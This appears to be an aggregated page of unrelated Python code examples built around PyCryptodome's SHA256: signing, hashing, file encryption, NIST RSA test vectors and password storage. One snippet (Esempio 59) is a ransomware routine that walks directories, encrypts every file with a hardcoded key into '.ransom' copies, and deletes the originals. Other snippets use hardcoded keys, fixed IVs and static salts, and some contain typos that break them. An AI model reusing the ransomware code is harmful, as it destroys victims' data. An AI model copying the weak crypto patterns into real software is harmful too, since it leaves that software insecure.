		sign2 = calculate_signature(users[sender][0][0],data_for_signature2)


		chain.addblock(id1,users[sender][0][1],users[receiver][0][1],amt,transaction1,0,parent_block_id,sign1)
		chain.getlatestblock().prev = chain.getblock_by_id(parent_block_id)

		chain.addblock(id2,users[sender][0][1],users[sender][0][1],current_amt-amt,transaction2,0,parent_block_id,sign2)
		chain.getlatestblock().prev = chain.getblock_by_id(parent_block_id)
Esempio n. 43
0
    if args.appcore_image is True:
        boot_block_id = 1
    else:
        boot_block_id = 0

    boot_block = boot_block_struct.pack(boot_block_marker,
                                        boot_block_id,
                                        image_addr,
                                        image_size + boot_block_struct.size + len(certificate),
                                        stated_size,
                                        certificate_offset, 0, args.version)

    if (is_signature == True):
        # Sign the complete image
        message = header + input_file[header_struct.size:] + boot_block + certificate
        hash = SHA256.new(message)

        out_file_path = os.path.join(os.path.dirname(__file__), 'dump_python.bin')
        file_out=open(out_file_path, 'wb')
        file_out.write(message)

        signer = pkcs1_15.new(key)
        signature = signer.sign(hash)

        print "Signature processing..."


    with open('data.bin', 'ab') as out_file:
        out_file.write(boot_block+certificate+signature)

    update_section = subprocess.check_output(['arm-none-eabi-objcopy',
Esempio n. 44
0
def encrypto_file(target_file):
    print('암호화를 시작합니다.')
    print('암호화 알고리즘을 선택하세요.')
    print('[1] DES')
    print('[2] AES')
    print('[DEFAULT] AES')
    user_input = input('입력: ')
    try:
        user_input = int(user_input)
    except:
        print('기본값을 사용합니다.')
        user_input = 2
    if user_input == 1:
        algorithm = 'DES'
    elif user_input == 2:
        algorithm = 'AES'
    else:
        print('[FATAL] 알 수 없는 오류 발생')
        sys.exit(1)
    print('')
    print('블록암호 운용방식을 선택하세요.')
    print('[1] CTR')
    print('[2] CBC')
    print('[DEFAULT] CBC')
    user_input = input('입력: ')
    try:
        user_input = int(user_input)
    except:
        print('기본값을 사용합니다.')
        user_input = 2
    if user_input == 1:
        mode = 'CTR'
    elif user_input == 2:
        mode = 'CBC'
    else:
        print('[FATAL] 알 수 없는 오류 발생')
        sys.exit(1)
    print('')
    print('암호화 키를 입력하세요.')
    while True:
        user_input = getpass.getpass('패스워드 입력: ')
        try:
            password = user_input.encode('ascii')
            hasing = SHA256.new()
            hasing.update(password)
            password = hasing.digest()
            break
        except UnicodeEncodeError:
            print('아스키코드 변환중 오류가 발생했습니다.')
            print('아스키코드에 있는 문자로 입력해주세요.')
    print('')
    if algorithm == 'DES':
        if mode == 'CTR':
            enc_des_ctr(target_file, password[:8])
        elif mode == 'CBC':
            enc_des_cbc(target_file, password[:8])
        else:
            print('[FATAL] 알 수 없는 오류 발생!')
            sys.exit(1)
    elif algorithm == 'AES':
        if mode == 'CTR':
            enc_aes_ctr(target_file, password)
        elif mode == 'CBC':
            enc_aes_cbc(target_file, password)
        else:
            print('[FATAL] 알 수 없는 오류 발생!')
            sys.exit(1)
    print('암호화 완료!')
# David Chaum 1983 提出加密技术运用于现金
from Crypto.Signature import pss
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA
from Crypto import Random

# sender can create the signatue of a message using their private key
message = b"To be signed"
key = RSA.importKey(
    open("../01blockchain explained by picture/i4PyCryptodome/d3private.pem").
    read())
h = SHA256.new(message)
signature = pss.new(key).sign(h)

print(signature, type(signature))

print("-" * 20)

key = RSA.importKey(
    open("../01blockchain explained by picture/i4PyCryptodome/d3public.pem").
    read())
h = SHA256.new(message)
verifier = pss.new(key)
try:
    verifier.verify(h, signature)
    print("The signature is authentic.")
except (ValueError, TypeError):
    print("The signature is not authentic.")
Esempio n. 46
0
#encoding=utf8
import os
import json
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
import datetime

token = '316da1df9dfea24e8285a5574d3d9e64'.replace(
    '3', 't')  #'125B999464194769AC72CCC42E4DB8FA'

sha256 = SHA256.new()
sha256.update(token)
array = sha256.digest()
#print repr(array), len(array)
key = array
vec = array[16:]

crypt = AES.new(key, AES.MODE_CBC, vec)
data = open('DAYNOW.htm', 'r').read().decode('base64')
datajson = crypt.decrypt(data)  #34640
txt = datajson.decode('utf-8')
# f2 = open('out.txt','w')
# f2.write(json.loads(datajson))
# f2.close()
try:
    d = json.loads(txt)
except:
    txt = txt.replace(txt[len(txt) - 1], '')
    d = json.loads(txt)
print d['month'], d['day']
os.system('pause >nul')
Esempio n. 47
0
def hash_mp(mp):
    h = SHA256.new()
    h.update(mp)
    return h.hexdigest()[:32]
Esempio n. 48
0
def hash_password(password):
    salt = 'cpsc476'
    db_password = password + salt
    h = SHA256.new(db_password).hexdigest()
    return h
Esempio n. 49
0
def getHash(bytes):
    hash_object = SHA256.new()
    hash_object.update(base64.b64encode(bytes))
    return hash_object.digest()
Esempio n. 50
0
'''hashlib'''
import hashlib

per_st = time.perf_counter()

m = hashlib.sha256(test_str).digest()

per_ed = time.perf_counter()

print(binascii.hexlify(m))
print('run time use hashlib: ' + str(per_ed - per_st) + ' s')
'''pycryptodome'''
from Crypto.Hash import SHA256

per_st = time.perf_counter()
h = SHA256.new(test_str).digest()
per_ed = time.perf_counter()
print(binascii.hexlify(h))
print('run time use pycryptodome: ' + str(per_ed - per_st) + ' s')
'''cryptography'''
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes

per_st = time.perf_counter()

digest = hashes.Hash(hashes.SHA256(), backend=default_backend())
digest.update(test_str)
s = digest.finalize()

per_ed = time.perf_counter()
Esempio n. 51
0
def EMSA_PKCS1_V1_5_ENCODE(M, emLen):
    digestInfo = b'\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20' + SHA256.new(
        M).digest()
    #print("%x"%int.from_bytes(digestInfo,byteorder='big'))
    # We need at least 11 bytes for the remaining data: 3 fixed bytes and
    # at least 8 bytes of padding).
    if emLen < len(digestInfo) + 11:
        raise TypeError(
            "Selected hash algorith has a too long digest (%d bytes)." %
            len(digest))
    PS = b'\xFF' * (emLen - len(digestInfo) - 3)
    out = b'\x00\x01' + PS + b'\x00' + digestInfo
    #print("%x"%int.from_bytes(out,byteorder='big'))
    return out
Esempio n. 52
0
 def sign(self, *msg):
     h = SHA256.new()
     for m in msg:
         h.update(m)
     return self.s.sign(h)
Esempio n. 53
0
def key_fingerprint(key_str):
    return SHA256.new(key_str).hexdigest()
Esempio n. 54
0
    def detailed_testvector():

        #test vector from NIST (http://csrc.nist.gov/groups/STM/cavp/documents/dss/186-2rsatestvectors.zip)
        n = 0xc8a2069182394a2ab7c3f4190c15589c56a2d4bc42dca675b34cc950e24663048441e8aa593b2bc59e198b8c257e882120c62336e5cc745012c7ffb063eebe53f3c6504cba6cfe51baa3b6d1074b2f398171f4b1982f4d65caf882ea4d56f32ab57d0c44e6ad4e9cf57a4339eb6962406e350c1b15397183fbf1f0353c9fc991
        e = 0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010001
        d = 0x5dfcb111072d29565ba1db3ec48f57645d9d8804ed598a4d470268a89067a2c921dff24ba2e37a3ce834555000dc868ee6588b7493303528b1b3a94f0b71730cf1e86fca5aeedc3afa16f65c0189d810ddcd81049ebbd0391868c50edec958b3a2aaeff6a575897e2f20a3ab5455c1bfa55010ac51a7799b1ff8483644a3d425

        message = 0xe567a39ae4e5ef9b6801ea0561b72a5d4b5f385f0532fc9fe10a7570f869ae05c0bdedd6e0e22d4542e9ce826a188cac0731ae39c8f87f9771ef02132e64e2fb27ada8ff54b330dd93ad5e3ef82e0dda646248e35994bda10cf46e5abc98aa7443c03cddeb5ee2ab82d60100b1029631897970275f119d05daa2220a4a0defba
        expected = 0x0e7cdd121e40323ca6115d1ec6d1f9561738455f0e9e1cd858e8b566ae2da5e8ee63d8f15c3cdd88027e13406db609369c88ca99b34fa156c7ee62bc5a3923bb5a1edabd45c1a422aafcbb47e0947f35cfef87970b4b713162b21916cafb8c864a3e5b9ffc989401d4eae992312a32c5bc88abbb45f99ac885b54d6b8e61b6ec

        print("m=%x" % message)
        key = RSA.construct(rsa_components=(n, e, d), consistency_check=True)
        h = SHA256.new(to_bytes(message, byteorder='big'))
        signature_bytes = pkcs1_15.new(key).sign(h)
        signature = int.from_bytes(signature_bytes, byteorder='big')
        print("signature=%x" % signature)
        if (signature != expected):
            print("expected =%x" % expected)
        else:
            print("match")

        #now do it low level according to https://tools.ietf.org/html/rfc8017#page-36
        #RSASSA-PKCS1-V1_5-SIGN (K, M)

        #M: message
        #emLen: n byte length
        def CRYPTO_EMSA_PKCS1_V1_5_ENCODE(M, emLen):
            msg_hash = SHA256.new(M)
            digestAlgo = DerSequence([DerObjectId(msg_hash.oid).encode()])
            print(digestAlgo)

            digestAlgo.append(DerNull().encode())

            digest = DerOctetString(msg_hash.digest())
            digestInfo = DerSequence([digestAlgo.encode(),
                                      digest.encode()]).encode()
            print("%x" % int.from_bytes(digestInfo, byteorder='big'))
            print("%x" % int.from_bytes(digestAlgo.encode(), byteorder='big'))
            print("%x" % int.from_bytes(digest.encode(), byteorder='big'))
            print("%x" % int.from_bytes(msg_hash.digest(), byteorder='big'))

            #b91d0b7a09f57c109926a449647283adb5dc213c0fdb0cf2b219e064cc132273 2004 00 0501020403650148866009060d30 3130
            #                                                                          501020403650148866009060d30
            #b91d0b7a09f57c109926a449647283adb5dc213c0fdb0cf2b219e064cc132273 2004
            #b91d0b7a09f57c109926a449647283adb5dc213c0fdb0cf2b219e064cc132273
            #b91d0b7a09f57c109926a449647283adb5dc213c0fdb0cf2b219e064cc1322732004000501020403650148866009060d30313000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0100

            #3031 300d06096086480165030402010500 0420 732213cc64e019b2f20cdb0f3c21dcb5ad83726449a42699107cf5097a0b1db9
            #     300d06096086480165030402010500
            #                                    0420 732213cc64e019b2f20cdb0f3c21dcb5ad83726449a42699107cf5097a0b1db9
            #                                         732213cc64e019b2f20cdb0f3c21dcb5ad83726449a42699107cf5097a0b1db9
            #0001ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff003031300d060960864801650304020105000420732213cc64e019b2f20cdb0f3c21dcb5ad83726449a42699107cf5097a0b1db9

            # We need at least 11 bytes for the remaining data: 3 fixed bytes and
            # at least 8 bytes of padding).
            if emLen < len(digestInfo) + 11:
                raise TypeError(
                    "Selected hash algorith has a too long digest (%d bytes)."
                    % len(digest))
            PS = b'\xFF' * (emLen - len(digestInfo) - 3)
            out = b'\x00\x01' + PS + b'\x00' + digestInfo
            print("%x" % int.from_bytes(out, byteorder='big'))
            return out

        modBits = Crypto.Util.number.size(key.n)
        k = ceil_div(modBits, 8)  # Convert from bits to bytes
        print(k)
        em = CRYPTO_EMSA_PKCS1_V1_5_ENCODE(to_bytes(message, byteorder='big'),
                                           k)

        em_int = bytes_to_long(em)
        print("%x" % em_int)
        # Step 2b (RSASP1)
        m_int = key._decrypt(em_int)
        # Step 2c (I2OSP)
        sig_bytes = long_to_bytes(m_int, k)
        sig = int.from_bytes(sig_bytes, byteorder='big')
        #sig=pow(int.from_bytes(EM,byteorder='little'),d,n)
        print("sig=%x" % sig)
        if (sig != expected):
            print("expected =%x" % expected)
        else:
            print("match")

        #now low level hardcoded version:
        message_bytes = to_bytes(message, byteorder='big')
        sig_bytes = RSA_SIGN_PKCS1_V1_5_SHA256(message_bytes, d, n)
        sig = int.from_bytes(sig_bytes, byteorder='little')
        print("sig=%x" % sig)
        if (sig != expected):
            print("expected =%x" % expected)
        else:
            print("match")

        RSA_VERIFY_PKCS1_V1_5_SHA256(message_bytes, sig_bytes, e, n)
        print("verify pass")
Esempio n. 55
0
def calc_chk(text, key):
    h = SHA256.new()
    h.update(text)
    h.update(key)
    return h.hexdigest()
Esempio n. 56
0
 def compute_digital_signature(self, message):
     hashed_message = SHA256.new(message.encode('utf8'))
     signer = PKCS1_v1_5.new(self._private_key)
     return binascii.hexlify(signaer.sing(hashed_message)).decode('ascii')
Esempio n. 57
0
def hash_mp(mp):
    h = SHA256.new()
    if not isinstance(mp, bytes):
        mp = mp.encode('utf-8')
    h.update(mp)
    return h.hexdigest()[:32]
Esempio n. 58
0
from Crypto.Hash import SHA256
import os

bsize = 1024
fname = 'b.mp4'
fhand = open(fname, 'rb')
lastsize = os.stat(fname).st_size % bsize
fhand.seek(-lastsize, 2)
block_n = fhand.read(lastsize)
h = SHA256.new()
h.update(block_n)
fhand.seek(-lastsize, 1)
while fhand.tell() > 0:
    fhand.seek(-bsize, 1)
    block = fhand.read(bsize) + h.digest()
    h = SHA256.new()
    h.update(block)
    fhand.seek(-bsize, 1)
print h.hexdigest()
Esempio n. 59
0
    enc_outputfile = direx + ".ransom"
    file_size = str(os.path.getsize(filename)).zfill(16)
    init_vector = ''

    for i in range(16):
        init_vector += chr(7)

    encryptor = AES.new(password, AES.MODE_CBC, init_vector)
    with open(filename, 'rb') as file_handler:
        with open(enc_outputfile, 'wb') as outputfile_handler:
            while True:
                chunk_read = file_handler.read(chunksize)
                if len(chunk_read) == 0:
                    break
                elif len(chunk_read) % 16 != 0:
                    chunk_read += ' ' * (16 - (len(chunk_read) % 16))
                outputfile_handler.write(encryptor.encrypt(chunk_read))

    os.unlink(filename)  #original file is deleted


notification()
for paths in path:
    for root, dirs, files in os.walk(paths):
        for names in files:
            print names + '\r'
            print root + '\r'
            encrypt_file(
                SHA256.new("this_is_the_seed").digest(),
                str(os.path.join(root, names)))
Esempio n. 60
0
Later versions will support the feature to set the environment variables and then run a (predefinied) script.
To set environment variables in the calling script add this:"""
  print "eval $(./"+sys.argv[0]+" -r /tmp/sebas)"

import getpass, os, sys, cPickle
if (len(sys.argv)<3) or (sys.argv[1] != '-r' and sys.argv[1] != '-w'):
  x=help()
  sys.exit(1)
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
try:
  syspw = os.environ['PASSWORD']
except KeyError:
  print 'What is de sys password?'
  syspw = getpass.getpass()
hash = SHA256.new()
hash.update(syspw)
crypt = AES.new(hash.digest(), AES.MODE_CBC, 'Bassie is ok ole') #print len(hash.digest())

users="SYS","ORADBA","RMAN_DBA","DBSNMP"
passwords={}
if (sys.argv[1] == '-w'):
  try:
    for user in users:
      passwords[user]=os.environ[user+'_PW']
  except:
    print "Environment variabele "+user+"_PW is not set."
    sys.exit(1)
  try:
    pickled=cPickle.dumps(passwords)+'Pickle'
    pickled+=(16-(len(pickled)%16))*' '